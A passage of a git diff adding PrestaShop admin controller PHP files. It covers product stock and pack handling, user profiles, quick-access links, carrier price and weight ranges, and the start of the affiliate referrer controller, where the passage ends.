FeatureValue::getFeatureValueLang($features[$k]['current_item']); + } + + $data->assign('available_features', $features); + + $data->assign('product', $obj); + $data->assign('link', $this->context->link); + $data->assign('languages', $this->_languages); + $data->assign('default_form_language', $this->default_form_language); + } + else + $this->displayWarning($this->l('You must save the product in this shop before adding features.')); + } + else + $this->displayWarning($this->l('You must save this product before adding features.')); + } + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function ajaxProcessProductQuantity() + { + if (!Tools::getValue('actionQty')) + return Tools::jsonEncode(array('error' => $this->l('Undefined action'))); + + $product = new Product((int)Tools::getValue('id_product'), true); + switch (Tools::getValue('actionQty')) + { + case 'depends_on_stock': + if (Tools::getValue('value') === false) + die (Tools::jsonEncode(array('error' => $this->l('Undefined value')))); + if ((int)Tools::getValue('value') != 0 && (int)Tools::getValue('value') != 1) + die (Tools::jsonEncode(array('error' => $this->l('Uncorrect value')))); + if (!$product->advanced_stock_management && (int)Tools::getValue('value') == 1) + die (Tools::jsonEncode(array('error' => $this->l('Not possible if advanced stock management is disabled. ')))); + if ($product->advanced_stock_management && Pack::isPack($product->id)) + die (Tools::jsonEncode(array('error' => $this->l('Not possible if the product is a pack.')))); + + StockAvailable::setProductDependsOnStock($product->id, (int)Tools::getValue('value')); + break; + + case 'out_of_stock': + if (Tools::getValue('value') === false) + die (Tools::jsonEncode(array('error' => $this->l('Undefined value')))); + if (!in_array((int)Tools::getValue('value'), array(0, 1, 2))) + die (Tools::jsonEncode(array('error' => $this->l('Uncorrect value')))); + + StockAvailable::setProductOutOfStock($product->id, (int)Tools::getValue('value')); + break; + + case 'set_qty': + if (Tools::getValue('value') === false) + die (Tools::jsonEncode(array('error' => $this->l('Undefined value')))); + if (Tools::getValue('id_product_attribute') === false) + die (Tools::jsonEncode(array('error' => $this->l('Undefined id product attribute')))); + + StockAvailable::setQuantity($product->id, (int)Tools::getValue('id_product_attribute'), (int)Tools::getValue('value')); + break; + case 'advanced_stock_management' : + if (Tools::getValue('value') === false) + die (Tools::jsonEncode(array('error' => $this->l('Undefined value')))); + if ((int)Tools::getValue('value') != 1 && (int)Tools::getValue('value') != 0) + die (Tools::jsonEncode(array('error' => $this->l('Uncorrect value')))); + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && (int)Tools::getValue('value') == 1) + die (Tools::jsonEncode(array('error' => $this->l('Not possible if advanced stock management is disabled. ')))); + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && Pack::isPack($product->id)) + die (Tools::jsonEncode(array('error' => $this->l('Not possible if the product is a pack.')))); + + $product->setAdvancedStockManagement((int)Tools::getValue('value')); + if (StockAvailable::dependsOnStock($product->id) == 1 && (int)Tools::getValue('value') == 0) + StockAvailable::setProductDependsOnStock($product->id, 0); + break; + + } + die(Tools::jsonEncode(array('error' => false))); + } + + public function getCombinationImagesJS() + { + if (!($obj = $this->loadObject(true))) + return; + + $content = 'var combination_images = new Array();'; + if (!$allCombinationImages = $obj->getCombinationImages($this->context->language->id)) + return $content; + foreach ($allCombinationImages as $id_product_attribute => $combination_images) + { + $i = 0; + $content .= 'combination_images['.(int)$id_product_attribute.'] = new Array();'; + foreach ($combination_images as $combination_image) + $content .= 'combination_images['.(int)$id_product_attribute.']['.$i++.'] = '.(int)$combination_image['id_image'].';'; + } + return $content; + } + + public function haveThisAccessory($accessory_id, $accessories) + { + foreach ($accessories as $accessory) + if ((int)$accessory['id_product'] == (int)$accessory_id) + return true; + return false; + } + + protected function initPack(Product $product) + { + $this->tpl_form_vars['is_pack'] = ($product->id && Pack::isPack($product->id)) || Tools::getValue('ppack') || Tools::getValue('type_product') == Product::PTYPE_PACK; + $product->packItems = Pack::getItems($product->id, $this->context->language->id); + + $input_pack_items = ''; + if (Tools::getValue('inputPackItems')) + $input_pack_items = Tools::getValue('inputPackItems'); + else + foreach ($product->packItems as $pack_item) + $input_pack_items .= $pack_item->pack_quantity.'x'.$pack_item->id.'-'; + $this->tpl_form_vars['input_pack_items'] = $input_pack_items; + + $input_namepack_items = ''; + if (Tools::getValue('namePackItems')) + $input_namepack_items = Tools::getValue('namePackItems'); + else + foreach ($product->packItems as $pack_item) + $input_namepack_items .= $pack_item->pack_quantity.' x '.$pack_item->name.'¤'; + $this->tpl_form_vars['input_namepack_items'] = $input_namepack_items; + } + + + /** + * AdminProducts display hook + */ + public function initFormModules($obj) + { + $id_module = Db::getInstance()->getValue('SELECT `id_module` FROM `'._DB_PREFIX_.'module` WHERE `name` = \''.pSQL($this->tab_display_module).'\''); + $this->tpl_form_vars['custom_form'] = Hook::exec('displayAdminProductsExtra', array(), (int)$id_module); + } + + /** + * delete all items in pack, then check if type_product value is 2. + * if yes, add the pack items from input "inputPackItems" + * + * @param Product $product + * @return boolean + */ + public function updatePackItems($product) + { + Pack::deleteItems($product->id); + // lines format: QTY x ID-QTY x ID + if (Tools::getValue('type_product') == Product::PTYPE_PACK) + { + $product->setDefaultAttribute(0);//reset cache_default_attribute + $items = Tools::getValue('inputPackItems'); + $lines = array_unique(explode('-', $items)); + // lines is an array of string with format : QTYxID + if (count($lines)) + foreach ($lines as $line) + if (!empty($line)) + { + list($qty, $item_id) = explode('x', $line); + if ($qty > 0 && isset($item_id)) + { + if (Pack::isPack((int)$item_id)) + $this->errors[] = Tools::displayError('You can\'t add product packs into a pack'); + elseif (!Pack::addItem((int)$product->id, (int)$item_id, (int)$qty)) + $this->errors[] = Tools::displayError('An error occurred while attempting to add products to the pack.'); + } + } + } + } + + public function getL($key) + { + $trad = array( + 'Default category:' => $this->l('Default category:'), + 'Catalog:' => $this->l('Catalog:'), + 'Consider changing the default category.' => $this->l('Consider changing the default category.'), + 'ID' => $this->l('ID'), + 'Name' => $this->l('Name'), + 'Mark all checkbox(es) of categories in which product is to appear' => $this->l('Mark the checkbox of each categories in which this product will appear.') + ); + return $trad[$key]; + } + + protected function _displayUnavailableProductWarning() + { + $content = '<div class="warn"> + <p> + <span style="float: left"> + '.$this->l('Your product will be saved as a draft.').' + </span> + <span style="float:right"><a href="#" class="button" style="display: block" onclick="submitAddProductAndPreview()" >'.$this->l('Save and preview.').'</a></span> + <input type="hidden" name="fakeSubmitAddProductAndPreview" id="fakeSubmitAddProductAndPreview" /> + <br class="clear" /> + </p> + </div>'; + $this->tpl_form_vars['warning_unavailable_product'] = $content; + } + + public function ajaxProcessCheckProductName() + { + if ($this->tabAccess['view'] === '1') + { + $search = Tools::getValue('q'); + $id_lang = Tools::getValue('id_lang'); + $limit = Tools::getValue('limit'); + if (Context::getContext()->shop->getContext() != Shop::CONTEXT_SHOP) + $result = false; + else + $result = Db::getInstance()->executeS(' + SELECT DISTINCT pl.`name`, p.`id_product`, pl.`id_shop` + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_shop` ps ON (ps.id_product = p.id_product AND ps.id_shop ='.(int)Context::getContext()->shop->id.') + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (pl.`id_product` = p.`id_product` AND pl.`id_lang` = '.(int)$id_lang.') + WHERE pl.`name` LIKE "%'.pSQL($search).'%" AND ps.id_product IS NULL + GROUP BY pl.`id_product` + LIMIT '.(int)$limit); + die(Tools::jsonEncode($result)); + } + } + + public function ajaxProcessUpdatePositions() + { + if ($this->tabAccess['edit'] === '1') + { + $way = (int)(Tools::getValue('way')); + $id_product = (int)(Tools::getValue('id_product')); + $id_category = (int)(Tools::getValue('id_category')); + $positions = Tools::getValue('product'); + + if (is_array($positions)) + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if ((isset($pos[1]) && isset($pos[2])) && ($pos[1] == $id_category && (int)$pos[2] === $id_product)) + { + if ($product = new Product((int)$pos[2])) + if (isset($position) && $product->updatePosition($way, $position)) + { + $category = new Category((int)$id_category); + if (Validate::isLoadedObject($category)) + hook::Exec('categoryUpdate', array('category' => $category)); + echo 'ok position '.(int)$position.' for product '.(int)$pos[2]."\r\n"; + } + else + echo '{"hasError" : true, "errors" : "Can not update product '.(int)$id_product.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This product ('.(int)$id_product.') can t be loaded"}'; + + break; + } + } + } + } + + public function ajaxProcessPublishProduct() + { + if ($this->tabAccess['edit'] === '1') + { + if ($id_product = (int)Tools::getValue('id_product')) + { + $id_tab_catalog = (int)(Tab::getIdFromClassName('AdminProducts')); + $bo_product_url = dirname($_SERVER['PHP_SELF']).'/index.php?tab=AdminProducts&id_product='.$id_product.'&updateproduct&token='.$this->token; + + if (Tools::getValue('redirect')) + die($bo_product_url); + + $product = new Product((int)$id_product); + if (!Validate::isLoadedObject($product)) + die('error: invalid id'); + + $product->active = 1; + + if ($product->save()) + die($bo_product_url); + else + die('error: saving'); + } + } + } +} diff --git a/controllers/admin/AdminProfilesController.php b/controllers/admin/AdminProfilesController.php new file mode 100755 index 0000000..ac848d3 --- /dev/null +++ b/controllers/admin/AdminProfilesController.php @@ -0,0 +1,101 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminProfilesControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'profile'; + $this->className = 'Profile'; + $this->multishop_context = Shop::CONTEXT_ALL; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowActionSkipList('delete', array(1)); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), + 'confirm' => $this->l('Delete selected items?')) + ); + + $this->fields_list = array( + 'id_profile' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array('title' => $this->l('Name')) + ); + + $this->identifier = 'id_profile'; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Profile'), + 'image' => '../img/admin/profiles.png' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'lang' => true, + ) + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + $list_profile = array(); + foreach (Profile::getProfiles($this->context->language->id) as $profil) + $list_profile[] = array('value' => $profil['id_profile'], 'name' => $profil['name']); + + parent::__construct(); + } + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + if (isset($_GET['delete'.$this->table]) && $_GET[$this->identifier] == (int)(_PS_ADMIN_PROFILE_)) + $this->errors[] = $this->l('For security reasons, you cannot delete the Administrator\'s profile.'); + else + parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminQuickAccessesController.php b/controllers/admin/AdminQuickAccessesController.php new file mode 100755 index 0000000..e4cc3a8 --- /dev/null +++ b/controllers/admin/AdminQuickAccessesController.php @@ -0,0 +1,123 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminQuickAccessesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'quick_access'; + $this->className = 'QuickAccess'; + $this->lang = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_quick_access' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 200 + ), + 'link' => array( + 'title' => $this->l('Link'), + 'width' => 300 + ), + 'new_window' => array( + 'title' => $this->l('New window'), + 'width' => 70, + 'align' => 'center', + 'type' => 'bool', + 'activeVisu' => 'new_window' + ) + ); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Quick Access menu'), + 'image' => '../img/admin/quick.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'maxlength' => 32, + 'required' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('URL:'), + 'name' => 'link', + 'size' => 60, + 'maxlength' => 128, + 'required' => true, + 'desc' => $this->l('If it\'s a URL that comes from your Back Office, you must NOT use a security token.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Open in new window:'), + 'name' => 'new_window', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'new_window_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Enabled').'" title="'.$this->l('Enabled').'" />' + ), + array( + 'id' => 'new_window_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('Disabled').'" title="'.$this->l('Disabled').'" />' + ) + ) + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + parent::__construct(); + } +} + + diff --git a/controllers/admin/AdminRangePriceController.php b/controllers/admin/AdminRangePriceController.php new file mode 100755 index 0000000..f0baa61 --- /dev/null +++ b/controllers/admin/AdminRangePriceController.php @@ -0,0 +1,138 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminRangePriceControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'range_price'; + $this->className = 'RangePrice'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_range_price' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'carrier_name' => array('title' => $this->l('Carrier'), 'align' => 'left', 'width' => 'auto', 'filter_key' => 'ca!name'), + 'delimiter1' => array('title' => $this->l('From'), 'width' => 86, 'type' => 'price', 'align' => 'right'), + 'delimiter2' => array('title' => $this->l('To'), 'width' => 86, 'type' => 'price', 'align' => 'right')); + + $this->_join = 'LEFT JOIN '._DB_PREFIX_.'carrier ca ON (ca.`id_carrier` = a.`id_carrier`)'; + $this->_select = 'ca.`name` AS carrier_name'; + $this->_where = 'AND ca.`deleted` = 0'; + + parent::__construct(); + } + + public function renderForm() + { + $currency = $this->context->currency; + $carriers = Carrier::getCarriers((int)Configuration::get('PS_LANG_DEFAULT'), true, false, false, null, Carrier::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + + foreach ($carriers as $key => $carrier) + if ($carrier['is_free']) + unset($carriers[$key]); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Price ranges'), + 'image' => '../img/t/AdminRangePrice.gif' + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Carrier:'), + 'name' => 'id_carrier', + 'required' => false, + 'desc' => $this->l('You can apply this range to a different carrier by selecting its name.'), + 'options' => array( + 'query' => $carriers, + 'id' => 'id_carrier', + 'name' => 'name' + ), + 'empty_message' => '<div style="margin:5px 0 10px 0">'.$this->l('There is no carrier available for this price range.').'</div>' + ), + array( + 'type' => 'text', + 'label' => $this->l('From:'), + 'name' => 'delimiter1', + 'size' => 5, + 'required' => true, + 'suffix' => $currency->getSign('right').' '.$this->l('(Tax Incl.)'), + 'desc' => $this->l('Start range (included)'), + 'string_format' => '%.2f' + ), + array( + 'type' => 'text', + 'label' => $this->l('To:'), + 'name' => 'delimiter2', + 'size' => 5, + 'required' => true, + 'suffix' => $currency->getSign('right').' '.$this->l('(Tax Incl.)'), + 'desc' => $this->l('End range (excluded)'), + 'string_format' => '%.2f' + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + if ($this->_list && is_array($this->_list)) + foreach ($this->_list as $key => $list) + if ($list['carrier_name'] == '0') + $this->_list[$key]['carrier_name'] = Configuration::get('PS_SHOP_NAME'); + } + + public function postProcess() + { + $id = (int)Tools::getValue('id_'.$this->table); + if (Tools::getValue('submitAdd'.$this->table)) + { + if (Tools::getValue('delimiter1') >= Tools::getValue('delimiter2')) + $this->errors[] = Tools::displayError('Invalid range'); + else if (!$id && RangePrice::rangeExist((int)Tools::getValue('id_carrier'), (float)Tools::getValue('delimiter1'), (float)Tools::getValue('delimiter2'))) + $this->errors[] = Tools::displayError('The range already exists'); + else if (RangePrice::isOverlapping((int)Tools::getValue('id_carrier'), (float)Tools::getValue('delimiter1'), (float)Tools::getValue('delimiter2'), ($id ? (int)$id : null))) + $this->errors[] = Tools::displayError('Error: Ranges are overlapping'); + else if (!count($this->errors)) + parent::postProcess(); + } + else + parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminRangeWeightController.php b/controllers/admin/AdminRangeWeightController.php new file mode 100755 index 0000000..25f1ca8 --- /dev/null +++ b/controllers/admin/AdminRangeWeightController.php @@ -0,0 +1,135 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminRangeWeightControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'range_weight'; + $this->className = 'RangeWeight'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_range_weight' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'carrier_name' => array('title' => $this->l('Carrier'), 'align' => 'left', 'width' => 'auto', 'filter_key' => 'ca!name'), + 'delimiter1' => array('title' => $this->l('From'), 'width' => 86, 'type' => 'float', 'suffix' => Configuration::get('PS_WEIGHT_UNIT'), 'align' => 'right'), + 'delimiter2' => array('title' => $this->l('To'), 'width' => 86, 'type' => 'float', 'suffix' => Configuration::get('PS_WEIGHT_UNIT'), 'align' => 'right')); + + $this->_join = 'LEFT JOIN '._DB_PREFIX_.'carrier ca ON (ca.`id_carrier` = a.`id_carrier`)'; + $this->_select = 'ca.`name` AS carrier_name'; + $this->_where = 'AND ca.`deleted` = 0'; + + parent::__construct(); + } + + public function renderForm() + { + $carriers = Carrier::getCarriers($this->context->language->id, true, false, false, null, Carrier::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + foreach ($carriers as $key => $carrier) + if ($carrier['is_free']) + unset($carriers[$key]); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Weight ranges'), + 'image' => '../img/t/AdminRangeWeight.gif' + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Carrier:'), + 'name' => 'id_carrier', + 'required' => false, + 'desc' => $this->l('You can apply this range to a different carrier by selecting its name.'), + 'options' => array( + 'query' => $carriers, + 'id' => 'id_carrier', + 'name' => 'name' + ), + 'empty_message' => '<div style="margin:5px 0 10px 0">'.$this->l('There is no carrier available for this weight range.').'</div>' + ), + array( + 'type' => 'text', + 'label' => $this->l('From:'), + 'name' => 'delimiter1', + 'size' => 5, + 'required' => true, + 'suffix' => Configuration::get('PS_WEIGHT_UNIT'), + 'desc' => $this->l('Start range (included)'), + ), + array( + 'type' => 'text', + 'label' => $this->l('To:'), + 'name' => 'delimiter2', + 'size' => 5, + 'required' => true, + 'suffix' => Configuration::get('PS_WEIGHT_UNIT'), + 'desc' => $this->l('End range (excluded)'), + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + if ($this->_list && is_array($this->_list)) + foreach ($this->_list as $key => $list) + if ($list['carrier_name'] == '0') + $this->_list[$key]['carrier_name'] = Configuration::get('PS_SHOP_NAME'); + } + + public function postProcess() + { + $id = (int)Tools::getValue('id_'.$this->table); + + if (Tools::getValue('submitAdd'.$this->table)) + { + if (Tools::getValue('delimiter1') >= Tools::getValue('delimiter2')) + $this->errors[] = Tools::displayError('Invalid range'); + else if (!$id && RangeWeight::rangeExist((int)Tools::getValue('id_carrier'), (float)Tools::getValue('delimiter1'), (float)Tools::getValue('delimiter2'))) + $this->errors[] = Tools::displayError('The range already exists'); + else if (RangeWeight::isOverlapping((int)Tools::getValue('id_carrier'), (float)Tools::getValue('delimiter1'), (float)Tools::getValue('delimiter2'), ($id ? (int)$id : null))) + $this->errors[] = Tools::displayError('Error: Ranges are overlapping'); + else if (!count($this->errors)) + parent::postProcess(); + } + else + parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminReferrersController.php b/controllers/admin/AdminReferrersController.php new file mode 100755 index 0000000..fcf6c2e --- /dev/null +++ b/controllers/admin/AdminReferrersController.php @@ -0,0 +1,461 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_ADMIN_DIR_')) define('_PS_ADMIN_DIR_', getcwd().'/..'); + +if (Tools::getValue('token') == Tools::getAdminToken('AdminReferrers'.(int)Tab::getIdFromClassName('AdminReferrers').(int)Tools::getValue('id_employee'))) +{ + if (Tools::isSubmit('ajaxProductFilter')) + Referrer::getAjaxProduct( + (int)Tools::getValue('id_referrer'), + (int)Tools::getValue('id_product'), + new Employee((int)Tools::getValue('id_employee')) + ); + else if (Tools::isSubmit('ajaxFillProducts')) + { + $json_array = array(); + $result = Db::getInstance()->executeS(' + SELECT p.id_product, pl.name + FROM '._DB_PREFIX_.'product p + LEFT JOIN '._DB_PREFIX_.'product_lang pl + ON (p.id_product = pl.id_product AND pl.id_lang = '.(int)Tools::getValue('id_lang').') + '.(Tools::getValue('filter') != 'undefined' ? 'WHERE name LIKE "%'.pSQL(Tools::getValue('filter')).'%"' : '') + ); + + foreach ($result as $row) + $json_array[] = '{id_product:'.(int)$row['id_product'].',name:\''.addslashes($row['name']).'\'}'; + + die ('['.implode(',', $json_array).']'); + } +} + +class AdminReferrersControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'referrer'; + $this->className = 'Referrer'; + $this->fields_list = array( + 'id_referrer' => array( + 'title' => $this->l('ID'), + 'width' => 25, + 'align' => 'center' + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 80 + ), + 'cache_visitors' => array( + 'title' => $this->l('Visitors'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_visits' => array( + 'title' => $this->l('Visits'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_pages' => array( + 'title' => $this->l('Pages'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_registrations' => array( + 'title' => $this->l('Reg.'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_orders' => array( + 'title' => $this->l('Ord.'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_sales' => array( + 'title' => $this->l('Sales'), + 'width' => 80, + 'align' => 'right', + 'prefix' => '<b>', + 'suffix' => '</b>', + 'price' => true + ), + 'cart' => array( + 'title' => $this->l('Avg. cart'), + 'width' => 50, + 'align' => 'right', + 'price' => true, + 'havingFilter' => true + ), + 'cache_reg_rate' => array( + 'title' => $this->l('Reg. rate'), + 'width' => 30, + 'align' => 'center' + ), + 'cache_order_rate' => array( + 'title' => $this->l('Order rate'), + 'width' => 30, + 'align' => 'center' + ), + 'fee0' => array( + 'title' => $this->l('Click'), + 'width' => 30, + 'align' => 'right', + 'price' => true, + 'havingFilter' => true + ), + 'fee1' => array( + 'title' => $this->l('Base'), + 'width' => 30, + 'align' => 'right', + 'price' => true, + 'havingFilter' => true + ), + 'fee2' => array( + 'title' => $this->l('Percent'), + 'width' => 30, + 'align' => 'right', + 'price' => true, + 'havingFilter' => true + ) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + parent::__construct(); + } + + public function setMedia() + { + parent::setMedia(); + $this->context->controller->addJqueryUI('ui.datepicker'); + } + + public function renderList() + { + // Display list Referrers: + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'SUM(sa.cache_visitors) AS cache_visitors, SUM(sa.cache_visits) AS cache_visits, SUM(sa.cache_pages) AS cache_pages, + SUM(sa.cache_registrations) AS cache_registrations, SUM(sa.cache_orders) AS cache_orders, SUM(sa.cache_sales) AS cache_sales, + IF(sa.cache_orders > 0, ROUND(sa.cache_sales/sa.cache_orders, 2), 0) as cart, (sa.cache_visits*click_fee) as fee0, + (sa.cache_orders*base_fee) as fee1, (sa.cache_sales*percent_fee/100) as fee2'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'referrer_shop` sa + ON (sa.'.$this->identifier.' = a.'.$this->identifier.' AND sa.id_shop IN ('.implode(', ', Shop::getContextListShopID()).'))'; + + $this->_group = 'GROUP BY sa.id_referrer'; + + $this->tpl_list_vars = array( + 'enable_calendar' => $this->enableCalendar(), + 'calendar_form' => $this->displayCalendar(), + 'settings_form' => $this->displaySettings() + ); + + return parent::renderList(); + } + + public function renderForm() + { + $uri = Tools::getHttpHost(true, true).__PS_BASE_URI__; + + $this->fields_form[0] = array('form' => array( + 'legend' => array( + 'title' => $this->l('Affiliate'), + 'image' => '../img/admin/affiliation.png' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 20, + 'required' => true + ), + array( + 'type' => 'password', + 'label' => $this->l('Password:'), + 'name' => 'passwd', + 'size' => 20, + 'desc' => $this->l('Leave blank if no change') + ) + ), + 'desc' => array( + $this->l('Affiliates can access their data with this name and password.'), + $this->l('Front access:').' <a href="'.$uri.'modules/trackingfront/stats.php" style="font-style: italic;">'.$uri.'modules/trackingfront/stats.php</a>' + ) + )); + + $this->fields_form[1] = array('form' => array( + 'legend' => array( + 'title' => $this->l('Commission plan'), + 'image' => '../img/admin/money.png' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Click fee:'), + 'name' => 'click_fee', + 'size' => 8, + 'desc' => $this->l('Fee given for each visit.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Base fee:'), + 'name' => 'base_fee', + 'size' => 8, + 'desc' => $this->l('Fee given for each order placed.') + ), + array( + 'type' => 'text', + 'label' => 